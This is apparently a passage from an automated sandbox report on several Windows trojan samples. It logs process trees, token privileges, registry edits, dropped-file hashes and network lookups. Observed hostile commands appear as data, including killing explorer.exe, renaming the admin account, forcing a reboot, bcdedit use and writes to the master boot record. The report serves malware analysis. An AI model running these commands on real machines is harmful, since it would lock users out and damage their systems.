Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe N/A
N/A N/A C:\Windows\system32\LogonUI.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 540 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe C:\Windows\SysWOW64\cmd.exe
PID 540 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe C:\Windows\SysWOW64\cmd.exe
PID 540 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe C:\Windows\SysWOW64\cmd.exe
PID 2808 wrote to memory of 3932 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2808 wrote to memory of 3932 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2808 wrote to memory of 3932 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2808 wrote to memory of 4804 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2808 wrote to memory of 4804 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2808 wrote to memory of 4804 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2808 wrote to memory of 4596 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2808 wrote to memory of 4596 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2808 wrote to memory of 4596 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2808 wrote to memory of 5080 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\shutdown.exe
PID 2808 wrote to memory of 5080 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\shutdown.exe
PID 2808 wrote to memory of 5080 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\shutdown.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\z666.bat""

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im explorer.exe

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic useraccount where name='Admin' set FullName='No System Anymore'

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic useraccount where name='Admin' rename 'No System Anymore'

C:\Windows\SysWOW64\shutdown.exe

shutdown /f /r /t 0

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x4 /state0:0xa39b9055 /state1:0x41c64e6d

Network

Country Destination Domain Proto
US 8.8.8.8:53 81.171.91.138.in-addr.arpa udp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp

Files

memory/540-0-0x00000000743C0000-0x0000000074B70000-memory.dmp

memory/540-1-0x0000000000AD0000-0x000000000119A000-memory.dmp

memory/540-2-0x0000000006160000-0x0000000006704000-memory.dmp

memory/540-3-0x0000000005BB0000-0x0000000005C42000-memory.dmp

memory/540-4-0x0000000005B30000-0x0000000005B40000-memory.dmp

memory/540-5-0x0000000005D40000-0x0000000005D4A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\z666.bat

MD5 ee655674ba8e05d5a4c32de58a6757c1
SHA1 f06f54710d5a0b341a9e6d467e1bb1a78f2f9606
SHA256 40cc0b6734258fc61e9940e359b7e0b84651e44a12943bb4381523a5cea325ef
SHA512 26bc97bff5612643c379776baf3637f7233748e7ecd8d8b94aa995e0a77d79c4c02d49ed98ef1bdc6d417bcf82e35069427692967c73d3b3899aff3868c93ebd

C:\Users\Admin\AppData\Local\Temp\NoSystemAnymore.exe

MD5 ef4e8ea4440efc48d5cd1a05a3a6f2a8
SHA1 74b5a40d4d9cb94ac7ed93b1cf9045539e50f068
SHA256 b1f25de77226ad8cf0e06226653e1c5aa7ac27a1ba8ba7bff8845685c2e53709
SHA512 f7aaa82dacf0ceee3f8311c787a568fdbe0b322d47371ddab37427902ceb74d0b324d6335878366d40f4d5d2b04b00157b81c8bd7b5c7b27fdcd26c770c13bf4

C:\Users\Admin\AppData\Local\Temp\bsod.exe

MD5 f1896231e9622dd044601962a9866a77
SHA1 36ad39e7d797ae43ee415e90a2dc234e0be3087b
SHA256 a254d664351a6db50d98bebbd530c46e64f9b9455bf4f378254045b2cde971f8
SHA512 e4004c3879b2b337260848e748c9d0b5e51bb4c8a8c317e44cedfe30e614391c329d1c07e7b052983897cc1010eee994c09cb370f721317f9c429c1d82e50901

C:\Users\Admin\Desktop\NO WAY NO WAY NO WAY NO WAY NO WAY NO WAY NO WAY N1 WAY.txt

MD5 391403276c6df4a164b0544a3411c6c7
SHA1 c4c06a4c7710d1d8140b07abd4b7bcd4187485ab
SHA256 524dcba7e6a293bc6a19c1522672598a71ff4def394ac696ec30ea99154d511b
SHA512 2b0b05f4e8241ec07bd35f1a40113be5fa8689d5bfb8a4064a5c8dc119b10fe40b33697ad2e3195c068fa8cce5d7a860dbbbffebb45d8a9fc1ec121b6a5216f8

memory/540-821-0x00000000743C0000-0x0000000074B70000-memory.dmp

Analysis: behavioral4

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:26

Platform

win10v2004-20240226-en

Max time kernel

139s

Max time network

156s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe"

Signatures

Disables RegEdit via registry modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-3045580317-3728985860-206385570-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe N/A

Disables Task Manager via registry modification

evasion

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe N/A

System policy modification

evasion
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "Bro what have you done" C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\0.950095298700035.exe"

Network

Country Destination Domain Proto
GB 96.16.110.114:80 tcp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 107.211.222.173.in-addr.arpa udp
US 8.8.8.8:53 73.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 www.microsoft.com udp
GB 2.17.5.133:80 www.microsoft.com tcp
GB 2.17.5.133:80 www.microsoft.com tcp
US 8.8.8.8:53 133.5.17.2.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 206.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 168.117.168.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral27

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:26

Platform

win7-20240220-en

Max time kernel

141s

Max time network

129s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\666mm psy\666mm psy.exe"

Signatures

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\666mm psy\666mm psy.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\666mm psy\666mm psy.exe"

C:\Windows\SysWOW64\cmd.exe

/c ""C:\Users\Admin\AppData\Local\Temp\259398368.bat" "

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM explorer.exe

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\259398368.bat

MD5 2e90ad588f5329388216c652eebd4a33
SHA1 baa4f47ee4f195d854f8db905fcbb2539556f0e0
SHA256 6f88a1b6fb5975e2e49b33e7c9dabb593b18b2e7254bbe41263a9acc7294c2ac
SHA512 b793ffcfca291e52855dd92ce1f948ce8b6f6bfe0e9a878cf7c37630b621eb417fe8b720bea8f088bec98b26c6e379bb1212d8518bb6ebed8b9840e2f9f9f778

memory/2744-12-0x00000000005C0000-0x00000000005C1000-memory.dmp

memory/3064-17-0x0000000000400000-0x0000000000407000-memory.dmp

Analysis: behavioral15

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:26

Platform

win7-20240221-en

Max time kernel

0s

Max time network

7s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe"

Network

N/A

Files

N/A

Analysis: behavioral8

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:26

Platform

win10v2004-20240226-en

Max time kernel

117s

Max time network

154s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe"

Signatures

Drops file in Drivers directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\drivers\rteth.sys C:\Windows\system32\cmd.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Windows\Temp\winconfig.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Windows\Temp\winconfig.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\DetectKey.exe N/A

Modifies boot configuration data using bcdedit

Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe N/A

Enumerates physical storage devices

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2072 wrote to memory of 1484 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe C:\Windows\Temp\winconfig.exe
PID 2072 wrote to memory of 1484 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe C:\Windows\Temp\winconfig.exe
PID 2072 wrote to memory of 1484 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe C:\Windows\Temp\winconfig.exe
PID 1484 wrote to memory of 2384 N/A C:\Windows\Temp\winconfig.exe C:\Windows\system32\cmd.exe
PID 1484 wrote to memory of 2384 N/A C:\Windows\Temp\winconfig.exe C:\Windows\system32\cmd.exe
PID 2384 wrote to memory of 4564 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\DetectKey.exe
PID 2384 wrote to memory of 4564 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\DetectKey.exe
PID 2384 wrote to memory of 4564 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\DetectKey.exe
PID 2384 wrote to memory of 4308 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2384 wrote to memory of 4308 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2384 wrote to memory of 4688 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 4688 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 3144 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 3144 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 4064 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 4064 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 4576 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 4576 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 4604 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 4604 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 4080 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 4080 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 1824 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 1824 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 4196 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 4196 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 2584 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 2584 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 372 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 372 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 1076 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 1076 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 312 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 312 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 4768 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 4768 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 760 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 760 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 4740 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 4740 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 3048 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 3048 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 3836 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 3836 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 2248 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 2248 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 448 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 448 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 312 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 312 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 3356 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 3356 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 2088 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 2088 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 3800 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 3800 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 4084 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 4084 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 1000 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 1000 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 3836 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 3836 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 3016 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2384 wrote to memory of 3016 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

